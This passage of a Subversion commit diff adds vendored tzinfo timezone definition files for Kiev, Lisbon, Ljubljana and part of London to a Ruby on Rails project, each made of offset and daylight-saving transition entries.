+          tz.transition 2003, 3, :o3, 1048978800
+          tz.transition 2003, 10, :o2, 1067122800
+          tz.transition 2004, 3, :o3, 1080428400
+          tz.transition 2004, 10, :o2, 1099177200
+          tz.transition 2005, 3, :o3, 1111878000
+          tz.transition 2005, 10, :o2, 1130626800
+          tz.transition 2006, 3, :o3, 1143327600
+          tz.transition 2006, 10, :o2, 1162076400
+          tz.transition 2007, 3, :o3, 1174784400
+          tz.transition 2007, 10, :o2, 1193533200
+          tz.transition 2008, 3, :o3, 1206838800
+          tz.transition 2008, 10, :o2, 1224982800
+          tz.transition 2009, 3, :o3, 1238288400
+          tz.transition 2009, 10, :o2, 1256432400
+          tz.transition 2010, 3, :o3, 1269738000
+          tz.transition 2010, 10, :o2, 1288486800
+          tz.transition 2011, 3, :o3, 1301187600
+          tz.transition 2011, 10, :o2, 1319936400
+          tz.transition 2012, 3, :o3, 1332637200
+          tz.transition 2012, 10, :o2, 1351386000
+          tz.transition 2013, 3, :o3, 1364691600
+          tz.transition 2013, 10, :o2, 1382835600
+          tz.transition 2014, 3, :o3, 1396141200
+          tz.transition 2014, 10, :o2, 1414285200
+          tz.transition 2015, 3, :o3, 1427590800
+          tz.transition 2015, 10, :o2, 1445734800
+          tz.transition 2016, 3, :o3, 1459040400
+          tz.transition 2016, 10, :o2, 1477789200
+          tz.transition 2017, 3, :o3, 1490490000
+          tz.transition 2017, 10, :o2, 1509238800
+          tz.transition 2018, 3, :o3, 1521939600
+          tz.transition 2018, 10, :o2, 1540688400
+          tz.transition 2019, 3, :o3, 1553994000
+          tz.transition 2019, 10, :o2, 1572138000
+          tz.transition 2020, 3, :o3, 1585443600
+          tz.transition 2020, 10, :o2, 1603587600
+          tz.transition 2021, 3, :o3, 1616893200
+          tz.transition 2021, 10, :o2, 1635642000
+          tz.transition 2022, 3, :o3, 1648342800
+          tz.transition 2022, 10, :o2, 1667091600
+          tz.transition 2023, 3, :o3, 1679792400
+          tz.transition 2023, 10, :o2, 1698541200
+          tz.transition 2024, 3, :o3, 1711846800
+          tz.transition 2024, 10, :o2, 1729990800
+          tz.transition 2025, 3, :o3, 1743296400
+          tz.transition 2025, 10, :o2, 1761440400
+          tz.transition 2026, 3, :o3, 1774746000
+          tz.transition 2026, 10, :o2, 1792890000
+          tz.transition 2027, 3, :o3, 1806195600
+          tz.transition 2027, 10, :o2, 1824944400
+          tz.transition 2028, 3, :o3, 1837645200
+          tz.transition 2028, 10, :o2, 1856394000
+          tz.transition 2029, 3, :o3, 1869094800
+          tz.transition 2029, 10, :o2, 1887843600
+          tz.transition 2030, 3, :o3, 1901149200
+          tz.transition 2030, 10, :o2, 1919293200
+          tz.transition 2031, 3, :o3, 1932598800
+          tz.transition 2031, 10, :o2, 1950742800
+          tz.transition 2032, 3, :o3, 1964048400
+          tz.transition 2032, 10, :o2, 1982797200
+          tz.transition 2033, 3, :o3, 1995498000
+          tz.transition 2033, 10, :o2, 2014246800
+          tz.transition 2034, 3, :o3, 2026947600
+          tz.transition 2034, 10, :o2, 2045696400
+          tz.transition 2035, 3, :o3, 2058397200
+          tz.transition 2035, 10, :o2, 2077146000
+          tz.transition 2036, 3, :o3, 2090451600
+          tz.transition 2036, 10, :o2, 2108595600
+          tz.transition 2037, 3, :o3, 2121901200
+          tz.transition 2037, 10, :o2, 2140045200
+          tz.transition 2038, 3, :o3, 59172253, 24
+          tz.transition 2038, 10, :o2, 59177461, 24
+          tz.transition 2039, 3, :o3, 59180989, 24
+          tz.transition 2039, 10, :o2, 59186197, 24
+          tz.transition 2040, 3, :o3, 59189725, 24
+          tz.transition 2040, 10, :o2, 59194933, 24
+          tz.transition 2041, 3, :o3, 59198629, 24
+          tz.transition 2041, 10, :o2, 59203669, 24
+          tz.transition 2042, 3, :o3, 59207365, 24
+          tz.transition 2042, 10, :o2, 59212405, 24
+          tz.transition 2043, 3, :o3, 59216101, 24
+          tz.transition 2043, 10, :o2, 59221141, 24
+          tz.transition 2044, 3, :o3, 59224837, 24
+          tz.transition 2044, 10, :o2, 59230045, 24
+          tz.transition 2045, 3, :o3, 59233573, 24
+          tz.transition 2045, 10, :o2, 59238781, 24
+          tz.transition 2046, 3, :o3, 59242309, 24
+          tz.transition 2046, 10, :o2, 59247517, 24
+          tz.transition 2047, 3, :o3, 59251213, 24
+          tz.transition 2047, 10, :o2, 59256253, 24
+          tz.transition 2048, 3, :o3, 59259949, 24
+          tz.transition 2048, 10, :o2, 59264989, 24
+          tz.transition 2049, 3, :o3, 59268685, 24
+          tz.transition 2049, 10, :o2, 59273893, 24
+          tz.transition 2050, 3, :o3, 59277421, 24
+          tz.transition 2050, 10, :o2, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Kiev.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Kiev.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Kiev.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,168 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Kiev
+        include TimezoneDefinition
+        
+        timezone 'Europe/Kiev' do |tz|
+          tz.offset :o0, 7324, 0, :LMT
+          tz.offset :o1, 7324, 0, :KMT
+          tz.offset :o2, 7200, 0, :EET
+          tz.offset :o3, 10800, 0, :MSK
+          tz.offset :o4, 3600, 3600, :CEST
+          tz.offset :o5, 3600, 0, :CET
+          tz.offset :o6, 10800, 3600, :MSD
+          tz.offset :o7, 7200, 3600, :EEST
+          
+          tz.transition 1879, 12, :o1, 52006652969, 21600
+          tz.transition 1924, 5, :o2, 52356400169, 21600
+          tz.transition 1930, 6, :o3, 29113781, 12
+          tz.transition 1941, 9, :o4, 19442059, 8
+          tz.transition 1942, 11, :o5, 58335973, 24
+          tz.transition 1943, 3, :o4, 58339501, 24
+          tz.transition 1943, 10, :o5, 58344037, 24
+          tz.transition 1943, 11, :o3, 58344827, 24
+          tz.transition 1981, 3, :o6, 354920400
+          tz.transition 1981, 9, :o3, 370728000
+          tz.transition 1982, 3, :o6, 386456400
+          tz.transition 1982, 9, :o3, 402264000
+          tz.transition 1983, 3, :o6, 417992400
+          tz.transition 1983, 9, :o3, 433800000
+          tz.transition 1984, 3, :o6, 449614800
+          tz.transition 1984, 9, :o3, 465346800
+          tz.transition 1985, 3, :o6, 481071600
+          tz.transition 1985, 9, :o3, 496796400
+          tz.transition 1986, 3, :o6, 512521200
+          tz.transition 1986, 9, :o3, 528246000
+          tz.transition 1987, 3, :o6, 543970800
+          tz.transition 1987, 9, :o3, 559695600
+          tz.transition 1988, 3, :o6, 575420400
+          tz.transition 1988, 9, :o3, 591145200
+          tz.transition 1989, 3, :o6, 606870000
+          tz.transition 1989, 9, :o3, 622594800
+          tz.transition 1990, 6, :o2, 646786800
+          tz.transition 1992, 3, :o7, 701820000
+          tz.transition 1992, 9, :o2, 717541200
+          tz.transition 1993, 3, :o7, 733269600
+          tz.transition 1993, 9, :o2, 748990800
+          tz.transition 1994, 3, :o7, 764719200
+          tz.transition 1994, 9, :o2, 780440400
+          tz.transition 1995, 3, :o7, 796179600
+          tz.transition 1995, 9, :o2, 811904400
+          tz.transition 1996, 3, :o7, 828234000
+          tz.transition 1996, 10, :o2, 846378000
+          tz.transition 1997, 3, :o7, 859683600
+          tz.transition 1997, 10, :o2, 877827600
+          tz.transition 1998, 3, :o7, 891133200
+          tz.transition 1998, 10, :o2, 909277200
+          tz.transition 1999, 3, :o7, 922582800
+          tz.transition 1999, 10, :o2, 941331600
+          tz.transition 2000, 3, :o7, 954032400
+          tz.transition 2000, 10, :o2, 972781200
+          tz.transition 2001, 3, :o7, 985482000
+          tz.transition 2001, 10, :o2, 1004230800
+          tz.transition 2002, 3, :o7, 1017536400
+          tz.transition 2002, 10, :o2, 1035680400
+          tz.transition 2003, 3, :o7, 1048986000
+          tz.transition 2003, 10, :o2, 1067130000
+          tz.transition 2004, 3, :o7, 1080435600
+          tz.transition 2004, 10, :o2, 1099184400
+          tz.transition 2005, 3, :o7, 1111885200
+          tz.transition 2005, 10, :o2, 1130634000
+          tz.transition 2006, 3, :o7, 1143334800
+          tz.transition 2006, 10, :o2, 1162083600
+          tz.transition 2007, 3, :o7, 1174784400
+          tz.transition 2007, 10, :o2, 1193533200
+          tz.transition 2008, 3, :o7, 1206838800
+          tz.transition 2008, 10, :o2, 1224982800
+          tz.transition 2009, 3, :o7, 1238288400
+          tz.transition 2009, 10, :o2, 1256432400
+          tz.transition 2010, 3, :o7, 1269738000
+          tz.transition 2010, 10, :o2, 1288486800
+          tz.transition 2011, 3, :o7, 1301187600
+          tz.transition 2011, 10, :o2, 1319936400
+          tz.transition 2012, 3, :o7, 1332637200
+          tz.transition 2012, 10, :o2, 1351386000
+          tz.transition 2013, 3, :o7, 1364691600
+          tz.transition 2013, 10, :o2, 1382835600
+          tz.transition 2014, 3, :o7, 1396141200
+          tz.transition 2014, 10, :o2, 1414285200
+          tz.transition 2015, 3, :o7, 1427590800
+          tz.transition 2015, 10, :o2, 1445734800
+          tz.transition 2016, 3, :o7, 1459040400
+          tz.transition 2016, 10, :o2, 1477789200
+          tz.transition 2017, 3, :o7, 1490490000
+          tz.transition 2017, 10, :o2, 1509238800
+          tz.transition 2018, 3, :o7, 1521939600
+          tz.transition 2018, 10, :o2, 1540688400
+          tz.transition 2019, 3, :o7, 1553994000
+          tz.transition 2019, 10, :o2, 1572138000
+          tz.transition 2020, 3, :o7, 1585443600
+          tz.transition 2020, 10, :o2, 1603587600
+          tz.transition 2021, 3, :o7, 1616893200
+          tz.transition 2021, 10, :o2, 1635642000
+          tz.transition 2022, 3, :o7, 1648342800
+          tz.transition 2022, 10, :o2, 1667091600
+          tz.transition 2023, 3, :o7, 1679792400
+          tz.transition 2023, 10, :o2, 1698541200
+          tz.transition 2024, 3, :o7, 1711846800
+          tz.transition 2024, 10, :o2, 1729990800
+          tz.transition 2025, 3, :o7, 1743296400
+          tz.transition 2025, 10, :o2, 1761440400
+          tz.transition 2026, 3, :o7, 1774746000
+          tz.transition 2026, 10, :o2, 1792890000
+          tz.transition 2027, 3, :o7, 1806195600
+          tz.transition 2027, 10, :o2, 1824944400
+          tz.transition 2028, 3, :o7, 1837645200
+          tz.transition 2028, 10, :o2, 1856394000
+          tz.transition 2029, 3, :o7, 1869094800
+          tz.transition 2029, 10, :o2, 1887843600
+          tz.transition 2030, 3, :o7, 1901149200
+          tz.transition 2030, 10, :o2, 1919293200
+          tz.transition 2031, 3, :o7, 1932598800
+          tz.transition 2031, 10, :o2, 1950742800
+          tz.transition 2032, 3, :o7, 1964048400
+          tz.transition 2032, 10, :o2, 1982797200
+          tz.transition 2033, 3, :o7, 1995498000
+          tz.transition 2033, 10, :o2, 2014246800
+          tz.transition 2034, 3, :o7, 2026947600
+          tz.transition 2034, 10, :o2, 2045696400
+          tz.transition 2035, 3, :o7, 2058397200
+          tz.transition 2035, 10, :o2, 2077146000
+          tz.transition 2036, 3, :o7, 2090451600
+          tz.transition 2036, 10, :o2, 2108595600
+          tz.transition 2037, 3, :o7, 2121901200
+          tz.transition 2037, 10, :o2, 2140045200
+          tz.transition 2038, 3, :o7, 59172253, 24
+          tz.transition 2038, 10, :o2, 59177461, 24
+          tz.transition 2039, 3, :o7, 59180989, 24
+          tz.transition 2039, 10, :o2, 59186197, 24
+          tz.transition 2040, 3, :o7, 59189725, 24
+          tz.transition 2040, 10, :o2, 59194933, 24
+          tz.transition 2041, 3, :o7, 59198629, 24
+          tz.transition 2041, 10, :o2, 59203669, 24
+          tz.transition 2042, 3, :o7, 59207365, 24
+          tz.transition 2042, 10, :o2, 59212405, 24
+          tz.transition 2043, 3, :o7, 59216101, 24
+          tz.transition 2043, 10, :o2, 59221141, 24
+          tz.transition 2044, 3, :o7, 59224837, 24
+          tz.transition 2044, 10, :o2, 59230045, 24
+          tz.transition 2045, 3, :o7, 59233573, 24
+          tz.transition 2045, 10, :o2, 59238781, 24
+          tz.transition 2046, 3, :o7, 59242309, 24
+          tz.transition 2046, 10, :o2, 59247517, 24
+          tz.transition 2047, 3, :o7, 59251213, 24
+          tz.transition 2047, 10, :o2, 59256253, 24
+          tz.transition 2048, 3, :o7, 59259949, 24
+          tz.transition 2048, 10, :o2, 59264989, 24
+          tz.transition 2049, 3, :o7, 59268685, 24
+          tz.transition 2049, 10, :o2, 59273893, 24
+          tz.transition 2050, 3, :o7, 59277421, 24
+          tz.transition 2050, 10, :o2, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Lisbon.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Lisbon.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Lisbon.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,268 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Lisbon
+        include TimezoneDefinition
+        
+        timezone 'Europe/Lisbon' do |tz|
+          tz.offset :o0, -2192, 0, :LMT
+          tz.offset :o1, 0, 0, :WET
+          tz.offset :o2, 0, 3600, :WEST
+          tz.offset :o3, 0, 7200, :WEMT
+          tz.offset :o4, 3600, 0, :CET
+          tz.offset :o5, 3600, 3600, :CEST
+          
+          tz.transition 1912, 1, :o1, 13064773637, 5400
+          tz.transition 1916, 6, :o2, 58104779, 24
+          tz.transition 1916, 11, :o1, 4842337, 2
+          tz.transition 1917, 2, :o2, 58110923, 24
+          tz.transition 1917, 10, :o1, 58116395, 24
+          tz.transition 1918, 3, :o2, 58119707, 24
+          tz.transition 1918, 10, :o1, 58125155, 24
+          tz.transition 1919, 2, :o2, 58128443, 24
+          tz.transition 1919, 10, :o1, 58133915, 24
+          tz.transition 1920, 2, :o2, 58137227, 24
+          tz.transition 1920, 10, :o1, 58142699, 24
+          tz.transition 1921, 2, :o2, 58145987, 24
+          tz.transition 1921, 10, :o1, 58151459, 24
+          tz.transition 1924, 4, :o2, 58173419, 24
+          tz.transition 1924, 10, :o1, 58177763, 24
+          tz.transition 1926, 4, :o2, 58190963, 24
+          tz.transition 1926, 10, :o1, 58194995, 24
+          tz.transition 1927, 4, :o2, 58199531, 24
+          tz.transition 1927, 10, :o1, 58203731, 24
+          tz.transition 1928, 4, :o2, 58208435, 24
+          tz.transition 1928, 10, :o1, 58212635, 24
+          tz.transition 1929, 4, :o2, 58217339, 24
+          tz.transition 1929, 10, :o1, 58221371, 24
+          tz.transition 1931, 4, :o2, 58234811, 24
+          tz.transition 1931, 10, :o1, 58238843, 24
+          tz.transition 1932, 4, :o2, 58243211, 24
+          tz.transition 1932, 10, :o1, 58247579, 24
+          tz.transition 1934, 4, :o2, 58260851, 24
+          tz.transition 1934, 10, :o1, 58265219, 24
+          tz.transition 1935, 3, :o2, 58269419, 24
+          tz.transition 1935, 10, :o1, 58273955, 24
+          tz.transition 1936, 4, :o2, 58278659, 24
+          tz.transition 1936, 10, :o1, 58282691, 24
+          tz.transition 1937, 4, :o2, 58287059, 24
+          tz.transition 1937, 10, :o1, 58291427, 24
+          tz.transition 1938, 3, :o2, 58295627, 24
+          tz.transition 1938, 10, :o1, 58300163, 24
+          tz.transition 1939, 4, :o2, 58304867, 24
+          tz.transition 1939, 11, :o1, 58310075, 24
+          tz.transition 1940, 2, :o2, 58312427, 24
+          tz.transition 1940, 10, :o1, 58317803, 24
+          tz.transition 1941, 4, :o2, 58322171, 24
+          tz.transition 1941, 10, :o1, 58326563, 24
+          tz.transition 1942, 3, :o2, 58330403, 24
+          tz.transition 1942, 4, :o3, 29165705, 12
+          tz.transition 1942, 8, :o2, 29167049, 12
+          tz.transition 1942, 10, :o1, 58335779, 24
+          tz.transition 1943, 3, :o2, 58339139, 24
+          tz.transition 1943, 4, :o3, 29169989, 12
+          tz.transition 1943, 8, :o2, 29171585, 12
+          tz.transition 1943, 10, :o1, 58344683, 24
+          tz.transition 1944, 3, :o2, 58347875, 24
+          tz.transition 1944, 4, :o3, 29174441, 12
+          tz.transition 1944, 8, :o2, 29175953, 12
+          tz.transition 1944, 10, :o1, 58353419, 24
+          tz.transition 1945, 3, :o2, 58356611, 24
+          tz.transition 1945, 4, :o3, 29178809, 12
+          tz.transition 1945, 8, :o2, 29180321, 12
+          tz.transition 1945, 10, :o1, 58362155, 24
+          tz.transition 1946, 4, :o2, 58366019, 24
+          tz.transition 1946, 10, :o1, 58370387, 24
+          tz.transition 1947, 4, :o2, 29187379, 12
+          tz.transition 1947, 10, :o1, 29189563, 12
+          tz.transition 1948, 4, :o2, 29191747, 12
+          tz.transition 1948, 10, :o1, 29193931, 12
+          tz.transition 1949, 4, :o2, 29196115, 12
+          tz.transition 1949, 10, :o1, 29198299, 12
+          tz.transition 1951, 4, :o2, 29204851, 12
+          tz.transition 1951, 10, :o1, 29207119, 12
+          tz.transition 1952, 4, :o2, 29209303, 12
+          tz.transition 1952, 10, :o1, 29211487, 12
+          tz.transition 1953, 4, :o2, 29213671, 12
+          tz.transition 1953, 10, :o1, 29215855, 12
+          tz.transition 1954, 4, :o2, 29218039, 12
+          tz.transition 1954, 10, :o1, 29220223, 12
+          tz.transition 1955, 4, :o2, 29222407, 12
+          tz.transition 1955, 10, :o1, 29224591, 12
+          tz.transition 1956, 4, :o2, 29226775, 12
+          tz.transition 1956, 10, :o1, 29229043, 12
+          tz.transition 1957, 4, :o2, 29231227, 12
+          tz.transition 1957, 10, :o1, 29233411, 12
+          tz.transition 1958, 4, :o2, 29235595, 12
+          tz.transition 1958, 10, :o1, 29237779, 12
+          tz.transition 1959, 4, :o2, 29239963, 12
+          tz.transition 1959, 10, :o1, 29242147, 12
+          tz.transition 1960, 4, :o2, 29244331, 12
+          tz.transition 1960, 10, :o1, 29246515, 12
+          tz.transition 1961, 4, :o2, 29248699, 12
+          tz.transition 1961, 10, :o1, 29250883, 12
+          tz.transition 1962, 4, :o2, 29253067, 12
+          tz.transition 1962, 10, :o1, 29255335, 12
+          tz.transition 1963, 4, :o2, 29257519, 12
+          tz.transition 1963, 10, :o1, 29259703, 12
+          tz.transition 1964, 4, :o2, 29261887, 12
+          tz.transition 1964, 10, :o1, 29264071, 12
+          tz.transition 1965, 4, :o2, 29266255, 12
+          tz.transition 1965, 10, :o1, 29268439, 12
+          tz.transition 1966, 4, :o4, 29270623, 12
+          tz.transition 1976, 9, :o1, 212544000
+          tz.transition 1977, 3, :o2, 228268800
+          tz.transition 1977, 9, :o1, 243993600
+          tz.transition 1978, 4, :o2, 260323200
+          tz.transition 1978, 10, :o1, 276048000
+          tz.transition 1979, 4, :o2, 291772800
+          tz.transition 1979, 9, :o1, 307501200
+          tz.transition 1980, 3, :o2, 323222400
+          tz.transition 1980, 9, :o1, 338950800
+          tz.transition 1981, 3, :o2, 354675600
+          tz.transition 1981, 9, :o1, 370400400
+          tz.transition 1982, 3, :o2, 386125200
+          tz.transition 1982, 9, :o1, 401850000
+          tz.transition 1983, 3, :o2, 417578400
+          tz.transition 1983, 9, :o1, 433299600
+          tz.transition 1984, 3, :o2, 449024400
+          tz.transition 1984, 9, :o1, 465354000
+          tz.transition 1985, 3, :o2, 481078800
+          tz.transition 1985, 9, :o1, 496803600
+          tz.transition 1986, 3, :o2, 512528400
+          tz.transition 1986, 9, :o1, 528253200
+          tz.transition 1987, 3, :o2, 543978000
+          tz.transition 1987, 9, :o1, 559702800
+          tz.transition 1988, 3, :o2, 575427600
+          tz.transition 1988, 9, :o1, 591152400
+          tz.transition 1989, 3, :o2, 606877200
+          tz.transition 1989, 9, :o1, 622602000
+          tz.transition 1990, 3, :o2, 638326800
+          tz.transition 1990, 9, :o1, 654656400
+          tz.transition 1991, 3, :o2, 670381200
+          tz.transition 1991, 9, :o1, 686106000
+          tz.transition 1992, 3, :o2, 701830800
+          tz.transition 1992, 9, :o4, 717555600
+          tz.transition 1993, 3, :o5, 733280400
+          tz.transition 1993, 9, :o4, 749005200
+          tz.transition 1994, 3, :o5, 764730000
+          tz.transition 1994, 9, :o4, 780454800
+          tz.transition 1995, 3, :o5, 796179600
+          tz.transition 1995, 9, :o4, 811904400
+          tz.transition 1996, 3, :o2, 828234000
+          tz.transition 1996, 10, :o1, 846378000
+          tz.transition 1997, 3, :o2, 859683600
+          tz.transition 1997, 10, :o1, 877827600
+          tz.transition 1998, 3, :o2, 891133200
+          tz.transition 1998, 10, :o1, 909277200
+          tz.transition 1999, 3, :o2, 922582800
+          tz.transition 1999, 10, :o1, 941331600
+          tz.transition 2000, 3, :o2, 954032400
+          tz.transition 2000, 10, :o1, 972781200
+          tz.transition 2001, 3, :o2, 985482000
+          tz.transition 2001, 10, :o1, 1004230800
+          tz.transition 2002, 3, :o2, 1017536400
+          tz.transition 2002, 10, :o1, 1035680400
+          tz.transition 2003, 3, :o2, 1048986000
+          tz.transition 2003, 10, :o1, 1067130000
+          tz.transition 2004, 3, :o2, 1080435600
+          tz.transition 2004, 10, :o1, 1099184400
+          tz.transition 2005, 3, :o2, 1111885200
+          tz.transition 2005, 10, :o1, 1130634000
+          tz.transition 2006, 3, :o2, 1143334800
+          tz.transition 2006, 10, :o1, 1162083600
+          tz.transition 2007, 3, :o2, 1174784400
+          tz.transition 2007, 10, :o1, 1193533200
+          tz.transition 2008, 3, :o2, 1206838800
+          tz.transition 2008, 10, :o1, 1224982800
+          tz.transition 2009, 3, :o2, 1238288400
+          tz.transition 2009, 10, :o1, 1256432400
+          tz.transition 2010, 3, :o2, 1269738000
+          tz.transition 2010, 10, :o1, 1288486800
+          tz.transition 2011, 3, :o2, 1301187600
+          tz.transition 2011, 10, :o1, 1319936400
+          tz.transition 2012, 3, :o2, 1332637200
+          tz.transition 2012, 10, :o1, 1351386000
+          tz.transition 2013, 3, :o2, 1364691600
+          tz.transition 2013, 10, :o1, 1382835600
+          tz.transition 2014, 3, :o2, 1396141200
+          tz.transition 2014, 10, :o1, 1414285200
+          tz.transition 2015, 3, :o2, 1427590800
+          tz.transition 2015, 10, :o1, 1445734800
+          tz.transition 2016, 3, :o2, 1459040400
+          tz.transition 2016, 10, :o1, 1477789200
+          tz.transition 2017, 3, :o2, 1490490000
+          tz.transition 2017, 10, :o1, 1509238800
+          tz.transition 2018, 3, :o2, 1521939600
+          tz.transition 2018, 10, :o1, 1540688400
+          tz.transition 2019, 3, :o2, 1553994000
+          tz.transition 2019, 10, :o1, 1572138000
+          tz.transition 2020, 3, :o2, 1585443600
+          tz.transition 2020, 10, :o1, 1603587600
+          tz.transition 2021, 3, :o2, 1616893200
+          tz.transition 2021, 10, :o1, 1635642000
+          tz.transition 2022, 3, :o2, 1648342800
+          tz.transition 2022, 10, :o1, 1667091600
+          tz.transition 2023, 3, :o2, 1679792400
+          tz.transition 2023, 10, :o1, 1698541200
+          tz.transition 2024, 3, :o2, 1711846800
+          tz.transition 2024, 10, :o1, 1729990800
+          tz.transition 2025, 3, :o2, 1743296400
+          tz.transition 2025, 10, :o1, 1761440400
+          tz.transition 2026, 3, :o2, 1774746000
+          tz.transition 2026, 10, :o1, 1792890000
+          tz.transition 2027, 3, :o2, 1806195600
+          tz.transition 2027, 10, :o1, 1824944400
+          tz.transition 2028, 3, :o2, 1837645200
+          tz.transition 2028, 10, :o1, 1856394000
+          tz.transition 2029, 3, :o2, 1869094800
+          tz.transition 2029, 10, :o1, 1887843600
+          tz.transition 2030, 3, :o2, 1901149200
+          tz.transition 2030, 10, :o1, 1919293200
+          tz.transition 2031, 3, :o2, 1932598800
+          tz.transition 2031, 10, :o1, 1950742800
+          tz.transition 2032, 3, :o2, 1964048400
+          tz.transition 2032, 10, :o1, 1982797200
+          tz.transition 2033, 3, :o2, 1995498000
+          tz.transition 2033, 10, :o1, 2014246800
+          tz.transition 2034, 3, :o2, 2026947600
+          tz.transition 2034, 10, :o1, 2045696400
+          tz.transition 2035, 3, :o2, 2058397200
+          tz.transition 2035, 10, :o1, 2077146000
+          tz.transition 2036, 3, :o2, 2090451600
+          tz.transition 2036, 10, :o1, 2108595600
+          tz.transition 2037, 3, :o2, 2121901200
+          tz.transition 2037, 10, :o1, 2140045200
+          tz.transition 2038, 3, :o2, 59172253, 24
+          tz.transition 2038, 10, :o1, 59177461, 24
+          tz.transition 2039, 3, :o2, 59180989, 24
+          tz.transition 2039, 10, :o1, 59186197, 24
+          tz.transition 2040, 3, :o2, 59189725, 24
+          tz.transition 2040, 10, :o1, 59194933, 24
+          tz.transition 2041, 3, :o2, 59198629, 24
+          tz.transition 2041, 10, :o1, 59203669, 24
+          tz.transition 2042, 3, :o2, 59207365, 24
+          tz.transition 2042, 10, :o1, 59212405, 24
+          tz.transition 2043, 3, :o2, 59216101, 24
+          tz.transition 2043, 10, :o1, 59221141, 24
+          tz.transition 2044, 3, :o2, 59224837, 24
+          tz.transition 2044, 10, :o1, 59230045, 24
+          tz.transition 2045, 3, :o2, 59233573, 24
+          tz.transition 2045, 10, :o1, 59238781, 24
+          tz.transition 2046, 3, :o2, 59242309, 24
+          tz.transition 2046, 10, :o1, 59247517, 24
+          tz.transition 2047, 3, :o2, 59251213, 24
+          tz.transition 2047, 10, :o1, 59256253, 24
+          tz.transition 2048, 3, :o2, 59259949, 24
+          tz.transition 2048, 10, :o1, 59264989, 24
+          tz.transition 2049, 3, :o2, 59268685, 24
+          tz.transition 2049, 10, :o1, 59273893, 24
+          tz.transition 2050, 3, :o2, 59277421, 24
+          tz.transition 2050, 10, :o1, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Ljubljana.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Ljubljana.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Ljubljana.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Ljubljana
+        include TimezoneDefinition
+        
+        linked_timezone 'Europe/Ljubljana', 'Europe/Belgrade'
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/London.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/London.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/London.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,288 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module London
+        include TimezoneDefinition
+        
+        timezone 'Europe/London' do |tz|
+          tz.offset :o0, -75, 0, :LMT
+          tz.offset :o1, 0, 0, :GMT
+          tz.offset :o2, 0, 3600, :BST
+          tz.offset :o3, 0, 7200, :BDST
+          tz.offset :o4, 3600, 0, :BST
+          
+          tz.transition 1847, 12, :o1, 2760187969, 1152
+          tz.transition 1916, 5, :o2, 29052055, 12
+          tz.transition 1916, 10, :o1, 29053651, 12
+          tz.transition 1917, 4, :o2, 29055919, 12
+          tz.transition 1917, 9, :o1, 29057863, 12
+          tz.transition 1918, 3, :o2, 29060119, 12
+          tz.transition 1918, 9, :o1, 29062399, 12
+          tz.transition 1919, 3, :o2, 29064571, 12
+          tz.transition 1919, 9, :o1, 29066767, 12
+          tz.transition 1920, 3, :o2, 29068939, 12
+          tz.transition 1920, 10, :o1, 29071471, 12
+          tz.transition 1921, 4, :o2, 29073391, 12
+          tz.transition 1921, 10, :o1, 29075587, 12
+          tz.transition 1922, 3, :o2, 29077675, 12
+          tz.transition 1922, 10, :o1, 29080027, 12
+          tz.transition 1923, 4, :o2, 29082379, 12
+          tz.transition 1923, 9, :o1, 29084143, 12
+          tz.transition 1924, 4, :o2, 29086663, 12
+          tz.transition 1924, 9, :o1, 29088595, 12
+          tz.transition 1925, 4, :o2, 29091115, 12
+          tz.transition 1925, 10, :o1, 29093131, 12
+          tz.transition 1926, 4, :o2, 29095483, 12
+          tz.transition 1926, 10, :o1, 29097499, 12
+          tz.transition 1927, 4, :o2, 29099767, 12
+          tz.transition 1927, 10, :o1, 29101867, 12
+          tz.transition 1928, 4, :o2, 29104303, 12
+          tz.transition 1928, 10, :o1, 29106319, 12
+          tz.transition 1929, 4, :o2, 29108671, 12
+          tz.transition 1929, 10, :o1, 29110687, 12
+          tz.transition 1930, 4, :o2, 29112955, 12
+          tz.transition 1930, 10, :o1, 29115055, 12
+          tz.transition 1931, 4, :o2, 29117407, 12
